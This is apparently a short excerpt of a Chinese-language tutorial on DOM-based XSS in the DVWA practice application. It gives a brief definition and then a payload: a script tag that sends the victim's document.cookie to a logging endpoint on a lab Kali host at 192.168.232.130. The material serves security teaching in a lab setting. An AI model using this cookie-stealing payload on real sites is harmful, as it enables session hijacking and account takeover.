DVWA系列之XSS(跨站腳本攻擊)——DOM型XSS源碼分析及漏洞利用

DOM型XSS Document Object Model 文本對象模型xss、可能是存儲型也可能是反射型、只決定於輸出地方 在反射型XSS中輸入： <script>var img=document.createElement('img');img.src='http://192.168.232.130:88/log?'+escape(document.cookie);</script> kali

>>阅读原文<<